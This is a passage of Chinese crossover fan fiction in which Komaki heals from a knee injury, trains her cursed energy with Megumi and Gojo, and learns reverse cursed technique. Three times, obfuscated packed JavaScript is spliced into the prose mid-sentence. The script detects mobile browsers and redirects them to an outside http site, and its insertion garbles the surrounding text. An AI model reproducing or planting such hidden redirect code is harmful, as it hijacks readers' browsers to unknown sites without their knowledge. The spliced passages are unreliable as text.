禅院真希作为一个挑事者固然有些令人生厌,但她作学生时,相当勤学好问。小莳得出这个结论是因为对方在干呕了一声以后第一关心的问题居然是,请教老师是怎么让它停下的。 被学生信赖能力的老师轻描淡写回答:“所谓幻术的造物,在被戳破伪装以后就会自然消散了。我的眼力不错。”得到答案之后禅院真希才开始新一轮的呕吐。 火化终止,小莳觉得自己还能活。这是被暗示,以后她的幻术在他面前多半起不了效果了吗?有趣,她总觉得这是暗戳戳被点了一下。她竖起没受伤的那只腿,打算像攀岩者一样靠单腿站起来,却被又跳脱起来的老师劝阻: “伤员就不要动,一切就交给老师吧!” 正是因为他这么说了才更不能交给他。 没来得及窜起来,小莳身体一轻,五条悟用无下限把她整个人吸起来,在解除的瞬间她落入一个怀抱。“膝盖确实肿起来了呢,这么重的伤要好好处理才行!老师马上带你去找温柔耐心的硝子医生。” 小莳心里替家入医生拒绝,再这样下去她的ID就会传染了,对方无疑是全高专忙碌程度排前三的:“家入医生会杀了我们,我觉得我至少要比你晚死十年才行。”平白无故增加工作量这种事情最讨厌了! 虽然这么说着,她放心的靠在五条悟肩上,开始告状:“你学生好凶,禅院同学打我。”当然是选择直接陈述实情啦。 “都说了别叫我姓氏!而且根本就不是那么回事!” 小莳抽出一只手指她:“住口,败者食尘。” “木鱼花。”可能是打算劝架,但小莳没听懂,也不想听。 “悟和新同学很熟吗?”两个人画风好统一,熊猫迷茫。 “公……公主抱?”钉崎野蔷薇第一眼觉得养眼,第二眼觉得不满,你这个做老师的能不能有点分寸感?! “一下子就吸起来了,那是什么,好厉害!” “……”虎杖从来不关注重点,但是伏黑惠来不及吐槽,这算什么,五条老师和她很熟吗? 五条悟没立刻回应,把她在手里掂了掂,“真奇怪,明明看起来没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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那你不服气呗,小莳轻轻拍了一下他毛茸茸的头,“驾。” “……” 吃瘪让五条悟沉默了几分钟,小莳问他“你就不能瞬移过去?” “不高兴,不乐意。” “是你先挑事的,输了就闹小脾气?” “我不管。不如让我们讨论你被真希敲了一下的事情!” 好好好,这么玩是吧。 小莳也不高兴了,小莳开始大放厥词:“你知道我干掉她需要多久没,20秒。” “我只要10秒。” “因为奈亚不在,不然我只需要一瞬。” “找借口是弱者的专属哦,小~莳~” “……”(脏话)或许应该让他被封印在狱门疆里。 五条悟扳回一城,话题在小莳这里断掉。 身后隔着一段距离的伏黑惠不仅在物理意义上不靠近,实际上也因为过分正常而和话题格格不入,泽田小莳……是这样的性格吗?好像有点糟糕,但是,讨厌不起来。 又过了一会,心满意足心情平和心态恢复的教师开口:“那么,小莳是怎么看待真希的呢?” 小莳的头离开触感不错的定制校服,看着五条悟,眼里有无奈:“放心,当你来到现场时看到的是我的尸体时,你就知道我不会真把她干掉的。”只是阴暗地偷偷记仇而已。 “老师问的是感觉啦感觉,小莳在很敏锐的同时,不能忘记我也是不好忽悠的。” “感觉吗?讨厌。我听甚尔说起过禅院家,对天与咒缚来说应该是个长满霉菌的腐烂地方。而天与咒缚和女性?buff叠满,禅院真希比他离开得更早。但是,不幸的童年造就的性格也即是她的当下,我不喜欢她自说自话冲上来打人,也不喜欢她理解不多妄下断论的挑衅。知道她算不上坏人,所以以后有机会把她打一顿再说,现在是负分。”小莳双手食指在胸前打了个叉。 五条悟回想起昨天晚饭时的话:“认知范围内的偏见与愚行吗?真希在性格上确实有尖锐的地方,去年乙骨刚入学的时候……不过如你所说确实不坏,是个好孩子。” 他说起一年前转学生的往事,最后寄予期望“希望她和你能好好好相处”。小莳听起来只觉得乙骨忧太确实长了一张那样看起来像是会被欺负的脸,在学校被80,在打工被压榨,总之就是有一点惨。不像是有特级的样子,一个想法一晃而过,祈本里香到底得可怕到什么程度才能把他拖到特级水准? “嗯,她说的坏话不足以勾起我情绪起伏,反而显露出易懂的自我……禅院真希很希望得到家人的肯定吧。哼哼,她的过高自尊莫非是来源于期盼不堕家名?五条老师~”小莳本来想说浅薄的,但话到嘴边想想,算了,对不是敌人的人少一点刻薄,何况她也鄙夷渴望亲缘这样的事情。 “你只有在需要帮助和坏心眼的时候会称呼我为老师,我发现了。”五条悟想起了咖啡店门口的狱门疆,觉得小莳这姑娘异常精通定点打击,“你可不要做什么事情吓到同学们。” “这种话我又不会说出去,和你调侃一下而已。其实我人还挺好的呢。”如果人心善恶也能评级,小莳要给自己评特级。像她这样明明能打暴击却只描边了一下,简直是好人中的好人。 “那小惠也不可以说出去哦!” 五条悟活力满满的话语让小莳惊讶,她就这五条悟转身的方向,向后一仰,正好看见后面跟的不近不远的黑发少年,180°倒转版本。 “呀,伏黑同学也在吗?你好你好。”因为这小伙子安安静静,脚步声也没有,她全然未察觉。 “……嗯。”能和五条老师相处良好的,除了虎杖这样的笨蛋那就是个性相投的人,以此可见,泽田小莳或许也顽劣。 而且刚刚确实有人率先说了“我干掉xx只需要xx”的事情…… 伏黑惠说不清心里是什么感觉,但和初见时如出一辙的心声“不应该”以和那时不同的语境再次响起。 但他还是会因为连说两次的你好和倒置过来面含惊讶的可爱表情脸红和下意识移开视线。 被带到一个昏暗的房间,房间正中是沙发,对面是电视机,小莳被放置在沙发上:“真的有点肿,不要去硝子那边看看吗?” “不去了吧,这是哪?” “你接下来几天的训练室,话不多说,雷厉风行的五条老师要去找夜蛾校长借道具,小惠!你去找医药箱帮小莳同学处理一下伤口。”五条悟把人拉到房间角落,小声给他出攻略女高的123条建议。 伏黑惠:“……” 53. 第 53 章 伏黑惠在给小莳上药油,有人代劳她当然不会拒绝。她的右腿架在伏黑惠的双腿上,皮下已经出现淤血。 “有很疼吗?” “应该挺疼的,但我没感觉。”幻术止疼,卓越术士,值得拥有,她不把坏脾气留到下一个场景,现在也能懒散地给小同学揭示:“这算是我能力带来的衍生效果。先前没想到禅院同学会突然动手,反应过来以后就安排止疼了。对了,谢谢你联系五条悟。” 回答完问题后就安静下来,伏黑惠没有再说话,但他擦药的动作依旧很轻柔,小莳很欣赏。 结束后,小莳想把腿放下来,被拦住。伏黑惠的右手扣在她脚踝上,“等等,虽然没有痛感,但伤势仍然存在,冰敷一会比较好。” “嗯,好的。”她其实无所谓,风纪集团有能够提供治疗的晴属性医护人员,明天回家就能医治,且这伤势在战斗中根本排不上号,完全不值得在意。或许是咒术高转的学生不经常负伤?她随便漫想着,顺带夸了一下感官不错的好人:“伏黑同学真是细心。” 伏黑惠只是……罕见的身体比脑子先一步行动,她搭着的腿光洁白皙,除了受创的膝盖以外没有一丝瑕疵,肌肤的手感也极佳。他不情愿离开这个暧昧的姿势,对方一脸光明坦荡,而他心里想着龌龊的事情。 这种感觉,还真是,糟糕又深深吸引他,心脏不受控制地加快速度打节拍。钢琴家如果以此为依据演奏乐曲,音乐会会演变成灾难。 他的手离开小莳,“没有,只是有一些处理伤者的经验。”一些回忆浮现,“不要故意说一些能结束对话的句子,小惠可是杀死聊天的专家。” 先把【不能相信他说的话】这一信念放到一边,该死,五条老师说对了。 “哦,确实,我们第一次见面的时候你就在运送伤员,”小莳除了幻术外,还有一项特殊技能,那就是能在新环境中最迅速找到最舒坦的待机姿势。现在她舒坦地躺在沙发边角出,手肘支在沙发边,头恰好抵着靠背,“你似乎有点紧张,我很吓人吗?” 小莳注意到伏黑惠的睫毛颤动--他有着很长的美人睫。令她觉得稀奇且好看。 她的问题像手术刀一样精准切入伏黑惠的神经,他拿冰袋的手与大脑切断联系,停在原地有一会:“没有吓人,那是猪野前辈,涩谷那晚还有虎杖,我们一起解除了第二层帐。” 那就是有在紧张了,社恐吗?有点想欺负,但是是要照顾并且兼有点借了他爸钱意思的亏欠,还是算了。她点头算是表示知道,不再开口。 伏黑惠陷入了名为懊恼的情绪,又是一个结束对话的叙述。他把原因归结为自己平时的沉默寡言,泽田小莳是相当活泼健谈的。 五条悟回来的时候,看见的就是被不安席卷的伏黑惠,和对此看起来没什么察觉的小莳--她在看手机。可她受伤的腿亲密地翘在自家学生的腿上,他还在帮她摁着冰袋。 好怪,再看一眼。这不是我们家总是臭着脸的小惠吧,我们小惠长得很清秀,但总是很冷漠,站在人群里债主气质非常耀眼。这个低头无所适从但是一直在盯着人腿看的家伙是谁? “呦,我回来了,小莳,接着。”一个玩偶被抛到她手里。 五条悟给她介绍了原理:要给咒骸持续输入咒力,不然会被打。“这可是老师辛辛苦苦和校长借来的,以前完全没有想到你也会有用到它的时候。咒力输出量已经调整到很微量的值,等你适应了在逐渐调高阈值。” 小莳投降:“对不起对不起,太弱小了真是抱歉,要不是我现在腿有伤一定给您磕一个。” 老师叹气:“这样没有干劲可不行,老师对你的期待可是48小时之内熟练掌握稳定咒力输出。哦对,你应该知道咒力来源是负面情绪吧,要懂得汲取哦,就像你们那边的‘觉悟’一样。小莳的火炎量在全世界的排名都数一数二,因为掌握了无中生有的幻术,0元购程度简直像是我这边反转术式。你兄长告诉我的。” 小莳哈哈笑的同时被玩偶锤了一拳,骨残像指环很好的抗住了攻击,她毫发无伤:“0元购像是阿武的说法,所以果然是因为天与咒缚吗?”咒骸的攻击被很好的顶下了,但之前禅院真希就不行。 “说来幻术有点像禅院家的构筑术式,京都那边一个学生就掌握了,恰好她也用枪。小惠以前和她交手过,关于咒术界的常识你也可以问他。深秋和新年本就是咒术师淡季,涩谷以后诅咒也都安分不少,这两天就由惠来伴学!”小莳怀疑他下一句是“我还有其他事要忙。”因为她就经常这么说,可实际……就只是说说而已。 果然,他“老师这两天有任务。” 有安排,但不多的五条悟给学生制造了机会,朝他比了个手势,意思是等着通知伏黑甚尔参加喜宴那天。 没人领会他的意思。 小莳有点看不下去:“在这专科院校你还是太屈才,应该去做研究生导师才对。伏黑同学也有自己的安排,如果你没时间我可以自学。”回去带着问题找夏油杰。不要压榨15岁的小朋友啊! 让社恐做这些是否太为难,对自己的学生要不还是好点吧。 五条悟说这话的时候满脸都是正经:“惠可是我信赖的助教,在此之前悠仁就是被惠引上咒术师的道路的,这可不是导师的压榨,是信赖哒!” “……”伏黑惠艰难地点了点头,作肯定的样子。但他的勉强一点也没逃过小莳的眼睛。 “真的不会太麻烦你吗?伏黑同学。”这么看来,咒术高专的小孩有些还是很好欺负的啊,小莳完全想岔了。 “不会不会,比起悠仁惠和小莳的相性该更好,能力都是调遣召唤物类,而且惠前些日子刚掌握了领域展开,你们能有很多共同话题的。”五条悟极速代答。 “从想到到开口不过5秒钟,你有点急切,意图是什么?” 五条悟颇为熟练的转移话题:“而且他可以变出兔子。” …… 小莳没再多问了。 一个小时以后,她左手抱着一只兔子,右手揽着玩偶,和伏黑惠聊天:“这么可爱的兔子要怎么战斗呢?” 他这么解释:“一般是用来吸引敌人注意的诱饵。” 原来只是起到一个凑数的1/10的作用。 小莳怜爱:“它真有用。”总之就是非常的可爱。 一起看了场无聊的电影,因为无趣而聊天,不知道为何伏黑惠给她一种生涩的娇羞少女感。他是那种只要对方开口就一定会回应,但是表现和回答却笨拙的人。 再聊聊据说他擅长的咒术话题,小莳发现五条悟说的禅院真依不过是个每天只能凝聚一颗咒力子弹的普通咒术师。 “所以术式的上限也和咒力的储备量有关,对吗?所以咒术师的天赋只有八成天定。” “是,一般都是生得术式,但强大的术式遇到咒力稀薄的身体,也难以发挥。”他肯定了这一说法。 禅院真希和禅院真依的设定上是不同校的双子,一个离家出走了,一个身怀术式待遇稍高,还在苦苦挣扎,“真是高下难同的恶趣味安排,她们好惨。”身在大家族,资源和钱都不缺,于无人在意的角落里,却比小康家庭的子女艰辛数倍,“所以家庭关系还是简单的好。” 小莳对人文社会问题自有她的一番看法,伏黑惠不知道怎么回答,他说:“真希前辈不喜欢别人称呼她姓氏。” 她狡黠地笑:“我知道,我故意的,诶嘿。” “……” 小莳接着说:“我又没得罪她,她突然给我那么一下,这半月板损伤和关节炎,要明天才能治好。并盛那边有相关的医护人员,我明晚回家治疗。” 伏黑惠解释可能这一切可能是因为夏油杰带来的连带影响,“去年二年级的前辈们都直接和夏油杰交手过,伤势惨重,而且他的理念比较排斥真希前辈,他们可能产生过……冲突。” 这话说得相当委婉,小莳听过搞事者本人自述的完整版,但她仍然惊讶,“我也没带个大喇叭到处宣扬现在杰是彭格列的,他们怎么会知道?” 因为这里还有个五条悟。 五条悟一开始确实是让乙骨忧太不要外泄的,但一切尘埃落定后,他的保密意识烟消云散。 头好痛,一个失神,玩偶的拳头又打过来,骨残像指环格挡,小莳完全没注意这些,她手掌根抵在额头上,“这就,没办法了呀。” 过一会她得出结论,迅速逻辑自洽也是小莳极少内耗的一大渊源:“算了,不讨厌她了。”毕竟是在高专大本营被入侵者打个半死的程度,而她本人至今因为天内理子的遭遇对天元和与之有关的高层持否定态度,禅院真希……以小莳的价值观来看,她的行为没有什么不妥当的,而且结合对方的高估,小莳客观承认:对方不算是真的想伤害她,一下就停了。但她就只有一个身体素质运动员水平的躯体,对方敲的又是缺乏防护的关节,这一下绝对有三级损伤的程度。 五条悟……(脏话) 小莳对伏黑惠说出这句话以后,就掏出手机,找夏油杰诉苦。 领导同事在天堂:有内鬼,交易终止。 现在正是快下班的五点,基本没什么工作,回复迅速。 夏油杰:怎么了? 领导同事在天堂:你能不能冷暴力五条悟几天,有个大嘴巴到处宣扬bff死而复生还再就业,猜猜是谁把涩谷那天的监控照片打印出来还想着把我涂掉p成他? 夏油杰:……也就是说 领导同事在天堂:借读生插班第二天惨遭校园80,竟是代人受过。【图片】,疗伤中。 夏油杰:悟毕竟是老师,学生们对他收着情绪也是常事,谁伤的你? 领导同事在天堂:检索关键词,“禅院吊车尾” 夏油杰:…… 夏油杰:确实是悟的错,太不懂事了,你今天回并盛吗,我安排医疗部值班。 领导同事在天堂:你好心虚 夏油杰:其实我觉得伏黑甚尔也应该承担一半责任,我在12.24才发现她其实挺弱的,大概是因为咒缚不完全,在那之前因为讨厌所以说了糟糕的话。 领导同事在天堂:甩吧甩吧,谁有你会甩锅。我今天不回去,明天。 大约过了一分钟,小莳重新拿起手机,看见屏幕横屏的留言。 夏油杰:你居然会被她伤到,你体术这么差劲? 他在胡说八道些什么,小莳不回他了,这个受害者有罪的世界真是一天也待不下去! 电影早就播完,伏黑惠看眼前的女孩因为手机而几番变动的脸色,没有离开沙发,只是在她下意识翘腿之前提醒,“小心,你的伤还在。” “谢谢提醒,差点忘了。”今天下午抱着玩偶一共三小时,它被惊醒了四次,虽然一直在分心做其他的事,但是好像稍微能感受到一点咒力了。 不算完全的跨专业。学习进度尚可。 做出评估后,算是告一段落,“伏黑同学晚上想吃什么?我让奈亚带,正好我们宿舍比较靠近,你愿意推 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413121|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我回去吗?” 伏黑惠不明所以地眨眼:“推?” “轮椅。”小莳打了个响指,沙发旁就出现了她所言的四轮手推轮椅:“我以前没接触过轮椅,造的有点简陋,因为不清楚原理也做不出电动的,以后有机会我会研究一下。” 她当然可以止痛然后自己回去,不过眼下正有个好心的劳动力,小莳认为这是给他一个乐善好施的机会。 “……一般来说也确实用不上轮椅。”这就是幻术吗?好不可思议的能力,“我没有什么忌口,都可以。谢谢。” “不客气,那就让奈亚做菜,到我宿舍来吃?” “好的,谢谢。” 小莳的宿舍在2楼,木楼没有电梯。伏黑惠说:“我可以抱你上去。”小莳点头接受。 她的身上有好闻的薄荷香气,自然清新。身上承担了额外几十公斤的重量,伏黑惠的心却飘飘然,他克制住自己想要更凑近的念头,盯着前面,保持面无表情。 小莳的房间出乎访客意料,比起简单的宿舍,更像是长期有人居住的舒适套间。他来搬东西的时候分明不是这样,“这也是幻术。” 她这么解释,伏黑惠完全没懂幻术的应用范围到底在哪,但他也没开口。 “包罗万象哦,”小莳回答,“你表情还挺明显的,可以直接问,我不会觉得冒犯。” 这孩子也太容易思虑了,平常说不定也有些内耗。 她解释道:“就像人首先是活着,才寻根究源一样,我们也是先使用这股力量,再探究它的往来,虽然这方面研究仍在漫无目的推进,但是对于火炎的应用已经落实到了彭格列的方方面面。除了战斗之外它也可以融入生活,我是这样相信的。”小莳主动给伏黑惠展现了一点小小的幻术风采,还给他介绍了匣子和指环。 在说到与幸吉时,伏黑惠露出了一个显而易见的震惊表情,“他是天与咒缚。” “有关这个我昨天也和你老师讨论了,得出来的结论是,我并没有对立下的咒缚动手脚,只是在等式的一端加上了世界之外的筹码,而‘天’也给出了回应。现在他的咒力被削弱了,到什么程度我并不知晓,但与此相对的与幸吉也可以作为一个人类保持尊严的活下去。当然,我和他之间还有额外的交易,等他出来就要逐步偿还了。”小莳露出一个wakuwaku的笑,不过这一切其实都不如纯爱部分来的有趣:“你知道他喜欢三轮霞吗?” “……不清楚。”但这也不是重要的事情,按理说这里应该细讲天与咒缚部分。但伏黑惠什么都没说。 “我只是有一种感觉‘应该要那么做’,然后就成功了,这世界的运行逻辑,在新势力加入以后也会产生新的补丁,你简单的当成游戏版本更新的补充,差不多是那样的意思。你真的可以直接问,我不是每次都能看出来别人在想什么。”尤其伏黑惠和他父亲都有点扑克脸,表情不是很多。小莳再次强调。 伏黑惠很不习惯这种草率非学术的比喻,像笨蛋会说的话,更不习惯一次两次被人看破心事,宛如寄居蟹被拖出壳的无所适从裹缠着他。 但他不想选择最擅长的沉默,他说:“听说他以前只能泡在药水里,现在恢复行动能力就能像常人一样生活。” 小莳赞同:“是这样的,我听说高专里不少学生都有过死刑和死缓经历,所以在这种情境下只要不是死立执好像都无关紧要。”她从五条悟那边听来了好多奇闻异事,越听越觉得咒术界是个巨大的草台班子。 “……”不,这绝对是误会了。 晚餐时,对饮食并不挑剔的伏黑惠仍然被可口的菜肴惊艳,小莳隆重为他介绍了自己在上一个世界的厨子好友,并且给他展示了田所惠的厨艺小册--后来她又补了一册,上面比起日常饮食,添加了更多乡土料理的做法。 “挺巧的,你们同名。都是受到祝福的名字呢!”小莳以此总结。 “祝福吗?”伏黑惠觉得不像,比较像他死去多年又死而复生的父亲有性别认知障碍。 听出了他语义的怀疑,小莳向他解释:“能看得出来你父亲是个很不负责任的人,对任何人都一样。但他曾经确实爱过你的母亲和你,他有和我说过你的生日是冬至,名字被他起作‘恩惠’的事情。”虽然她是觉得这名字是会在在小学里被恶劣男同学调笑80的,但伏黑甚尔那脑子大概想不到那里去,孩子出生的时候他搞不好真傻乐呢。 “……” “虽然你有一定概率讨厌他,就像我以前讨厌我那没长嘴喜欢限制人的父亲那样--我是说上个世界亲生的父亲,不过有些肤浅之人的爱只有那么多,很短暂,会随风而散,但那也就是他一生中难得的情感,别的也没有了。”既然都彻底离开,小莳也不介意客观评价伏黑甚尔为烂人真心,生活给他的就是这么多,他没有超越的人格,给出的也就是那么多。“虽然被说成故事应该令人感慨,但现实中果然还是要和更体贴更妥善的人交往,所以在决定和他分手以后,我下定决心下次恋爱绝对要是和没有恋爱经验并且情感真挚的人。至于伏黑同学你……反正你就当他是死了。”小莳没什么障碍地用可怕的语言宽慰认识没几天的高专学生。 “我没有很讨厌他……” 大概有,小莳对自己的眼睛很有自信,但再聊下去就没必要了,勾起唇对他说:“好的。” 晚上她翻阅夏油杰写的笔记,让奈亚再带她回五条悟安排的小房间,抱着玩偶直到夜间10点。 它没有惊醒一次。 很好。 54. 第 54 章 次日,小莳在晨光中醒来,七点,奈亚还没有离开,早餐是她喜欢的土豆泥三明治,双倍碳水混有多重脂肪:黄油、牛油果、培根。 她想起昨日梦中所得,用指尖的咒力把喝完的牛奶盒捏扁。她觉得自己真是个小天才。 “中午我想吃烤肉。”她这么告诉奈亚。 这项提议没有落实。 因为五条悟带着他的愧意找上门。“真是的,你居然找杰告状!今早我去并盛的时候他不理我。” 小莳化身复读机:“‘老师这两天有任务捏’?” 高瘦的成年人墨镜一抬,露出漂亮的眼睛:“学习的事情先放一边,我们去并盛吧!正好让硝子把你的腿伤治好。我决定做出一件违背高专的事,我要带硝子去并盛。” “……且不论家入医生本人的意愿,你们同级生聚会拉上我做什么。” “因为杰在冷暴力我,带上小莳的话他就会和我说话了。”五条悟说完以后才开始寒暄,“你房间真大,我可以进来坐坐吗?” 可他已经坐在小莳对面了,好一桩寒暄倒置。 “但是我拒绝,你好好反省,想要好心帮助老同学重聚的话可以把家入医生带去,看他们团圆。” “记仇的恶毒女人!” 小莳回了一个阴险的笑。 在房间有人敲门并进来后,她的表情还没有收回。 伏黑惠看见穿戴整齐的少女满脸愉悦,而让她露出这样神情的是他的老师。 “伏黑同学,早上好。”将手边的盘子往他的方向推了推,“如果你没有吃早饭的话,请用。奈亚多做了一份。” 五条悟的手很长,也很快,三明治进了他的嘴。 “……” “小惠,今天泽田同学和我有重要任务,你自行安排。”正经的语言和他手里拿着属于别人的早餐形成鲜明的对比。 更何况……“没有人答应你这种事情,不要自说自话。” 最后五条悟以接下来一个月谨言慎行的承诺为代价换来了小莳给夏油杰发信息。 领导同事在天堂:内鬼已伏诛 夏油杰:你讲话有点吓人。 领导同事在天堂:准备好同学聚会,中午可以早点摸鱼润 她决定按照原定计划去练习掌控咒力。 “小莳,你还真是刻苦。” 她一撩头发,肯定:“没错,其实我是那种考试前一天会劝同学们千万不要学习大家一起摆,但是回家以后苦学到次日开场的努力型人才。”说出的话语感染力极强,震慑得两个男人说不出一句回应。 “……”在场唯一正常人伏黑惠觉得这种根本不叫努力型。 伏黑惠是希望能和小莳相处更久些的,他羞于承认,也不多细想,但和心跳还有升温有关的东西一概难以自欺欺人。 他陪小莳看了几场电影。 小莳在当晚就回了家,治好了伤。 她学得很快,也许在为人所知的天赋之下,掩盖了众多存在感些许稀薄的努力。后来五条悟给她安排了一级咒术师七海建人,她被带出见习几次,又一起去了外地,还给他带了伴手礼。 伏黑惠不总能见到她。 * 小莳这一个月是有点忙碌的,首先,在五条悟的斡旋之下,与幸吉确定死缓。京都和并盛的距离不远,机械丸的操控在此仍能运行。其次,小莳拾起了两年前的关系网,以科技促发展,和无所事事的白兰、疯狂科学家威尔帝共谋大事,拉上云雀恭弥、夏油杰和与幸吉一起规划并盛诅咒监测系统,期待他能在明年建设完善并投入使用。第三,她也参与了一些咒术高专的日常学习和课外实践。第四,作为日常调剂活动,她会去看夏油杰处理家庭关系。 主要是教女儿。 严格来说小莳和枷场双子算是代沟内的同龄人,所以无血缘老父亲在有了别人家的孩子对比之后就难免“感觉不如”的喟叹,而她完全不介意作为对照组从他们的全家庭路过。 现在她知道双子的术式是什么了,所以她们当时在第一次见面的时候绝对是想对她不利,记仇,清算!双子并不算喜欢她,但她们对夏油杰的孺慕之情够深,不得已爱屋及乌。小莳在日常的相处中也逐渐放下了拍照和狠话的过节,又两名咒术师入账并盛。 到了年底反而清闲下来,威尔帝回去了,白兰……听说阿纲会回来过年,他决定留在并盛,反正意大利也没有家族在等他领导。 小莳:要是有就糟糕了。 他的白龙飞得比帝女雀快,现在他是她的司机plana了。 * 在某一天,小莳突然对咒力有了更细微的掌控,她学会了反转术式,原因仅仅是吃棉花糖的时候被袋子滑破了手。 在她大张旗鼓拍下受伤珍贵照片前,她治好了。 反转术式与其说是术式,其实更准确说是对咒力的微观控制,负负相乘得正的原理,但鲜少有人掌握。小莳发消息给五条悟的时候他在履行教师职责上课。 领导同事在天堂:【图片】手控福利,刚刚有一个人被棉花糖划破了手指。 图上光洁细腻的手背上除了镶着大宝石的玛雷指环什么也没有。 五条悟:棉花糖怎么划破手指? 领导同事在天堂:更正,是棉花糖包装袋,这味道还不错,下午过去给你带点。重要的是我学会了反转术式,你有空帮我六眼一下吗? 有人在生死之间千钧一发终得领悟,有人简简单单日常吃块棉花糖就…… 原本情绪饱满而欢乐的特级教师神色凝重,他向学生发问:“提问,反转术式是什么?” 而三位一年生早就习惯老师的想一出是一出。 虎杖悠仁不知道,钉崎野蔷薇差不多知道但说不出来,伏黑惠按定义回答了老师:“将咒力反转,其中负面能量通过咒力(-)*咒力(-)的方式得到正向能量,产生治疗效果。也可以将其添加到生得术式中,造成术式反转。” “是啊,怎么会有人吃个早午餐就掌握了呢?”早上十点,背景里的可颂三明治和牛奶,一眼brunch。五条悟的教学内容从专业课跳转到大型纪录片:泽田小莳传奇。 术士领域是天才,现在进了新领域咒术师这方面还是天才。 下午,小莳搭乘白兰特快来到高专。 “你还骑龙,我以前也有龙骑。”五条悟难得在校门口等着,旁边还有三位一年生。 小莳问了一个让她后悔一下午的问题:“然后呢?” 五条悟得逞了,既然是对方主动的起的话头,这就不算他搞事:“虹龙,被你前男友一刀砍断,骑不了了。” “前男友?!”钉崎野蔷薇捕捉关键词,“是怎样的人?” “之前不是说过了吗,是小惠的生父吆。”五条悟一手搂过伏黑惠的肩,揉头。 “真假?”虎杖悠仁捧场发问。 “……”放过他吧,都在另一个世界,再也见不到了。小莳捂脸:“你让我觉得谈个恋爱谈出案底了。” “……”伏黑惠上周最终还是去问了五条悟关于伏黑甚尔的事情,得到的答案已经够令人震惊。养大了仇人的儿子,真是难以偿还的恩情。更糟的是……钉崎。 “……”震惊野蔷薇一整年。美丽机敏的自信女人洞察了闷骚男同学的暗恋,他唯独给小莳的每条动态都点赞,而且响应极快,这对于一个连陪美女逛街拎包都不耐烦的不解风情笨蛋来说实属罕见,怎么可能看不出来。她带着证据向他求证(八卦),得到了默认的结果,现在却发现了更离谱的事情。 所以说你们大城市里的人谈起恋爱来真是……这算什么,小妈文学吗? “千真万确。”五条老师以做研究的严谨态度回答了该问题。 小莳迫不得已和野蔷薇解释了自己并没有和40岁的中年男子在一起,以及对方确实有值得喜欢的点--要千方百计地想前男友的优点着实不合时宜,但如果是为了证明自己是一个审美、理智、判断都没出大问题的人,她不介意从记忆里搜寻点有用的东西。 但既然说了优点,那么分手原因也不得不提:“……总之,面对半死不活的感情,我不喜欢炒冷饭拖延进程,而是倾向于在某个临界点提出分手。不过在那之前他自己越界,直接分了。现在我们能聊一下反转术式了吗?” 成功将话题扭转至正轨。 小莳的反转术式是可以医治他人的,程度不明:样本太少,即使是六眼也难为无米之炊。 但五条悟真诚建议:“你就跟着感觉走,它足够靠谱。对了,你和纲吉君做过DNA检测吗?”真不是超直感? “不是一个世界的,你就当这是我4岁的时候灵感爆发的馈赠吧。”她想到了无量空处,0.2秒内就能向人脑发送半年的信息。她4岁的时候可是一下子接受了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413122|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 14年坎坷且充斥暴力血泪,如果按现在年龄分层得是16+的内容,也许在那个时候她已经和常人不同了。就像诗人旅过地狱、炼狱、天堂后回到人间,就像直视过不可名状的古神。 “泽田同学小时候怎么了吗?”虎杖悠仁好奇。 “有人在我脑袋里放烟花,嘭的一下,五颜六色,我花了好大功夫才清理干净。”重建虚无与荒诞的疮痍之地需要多久?卓有成效的清理大师小莳给出的答案是6年。 一个月,小莳和高专的一二年级都熟稔不少,又见习了几次七海建人的任务,顺手袚除了几个没什么挑战的咒灵,算上反转术式,在咒术学习方面也是收获颇丰。 “送你来的人是谁,第一次见到他。”五条悟好奇,没有在书面资料中看过“实力还行,但也不是守护者。” “白兰,我家沧海遗珠,贬义那种。不过他在我小时候带过我。”乱入的记忆有白兰的主责,毕竟他是那个想要毁灭世界做新神的大反派,“听说我小时候有一点点难带。” 亿点点。 既然咒力的学习中获得了一点成果,五条悟当即把目标转向体术。 他打发小莳去操场跑圈,锻炼体能,“先12圈,这是六眼给出的数据,所以我知道你能做到。”一句六眼直接打消了小莳期待摸鱼偷懒的借口。 五条悟带走了虎杖悠仁,据说他的兄长正在找他,根据五条悟五分钟后发来的保密信息,虎杖悠仁的兄长就是胀相,在涩谷里搞事的诅咒之一。 而且他还是那天打伤虎杖的罪魁祸首,小莳还记得那次触目惊心的脏腑伤,虎杖命真大。 所以说你们咒术师打起来真是……这算什么,追弟火葬场? 很快她就无暇思考这些,五条悟新追加的30分钟小挑战,令人头疼。但既然是六眼的判断,那她也相信自己能做到。 她和操场上与熊猫打得有来有回的禅院真希打了招呼:“禅院同学好,胖达好~”然后在有人愤怒的背景音下愉悦地开始跑步。 校园的另一边。 钉崎野蔷薇依靠着售货机,看着佯装关注货品介绍不分神给自己的伏黑惠:“喂,伏黑,你不打算说些什么吗?” “……没什么要说的。” 伏黑惠对此进行过思考,最后得出的结论是:也许这看起来有些奇怪、有些违背一般价值观,但他不会为了“看起来”这样的理由而止步。他对泽田小莳抱有好感,从初次见面起他就在期待与她的以后的事情,而这一切都和那个男人没有关系。他不排斥伏黑甚尔作为生物学父亲,但他本人的判断和意愿应该排在一切之前:唯有不平等的现实平等存在着,而那个没履行过父亲责任的男人不足以改变他心中砝码的分量。 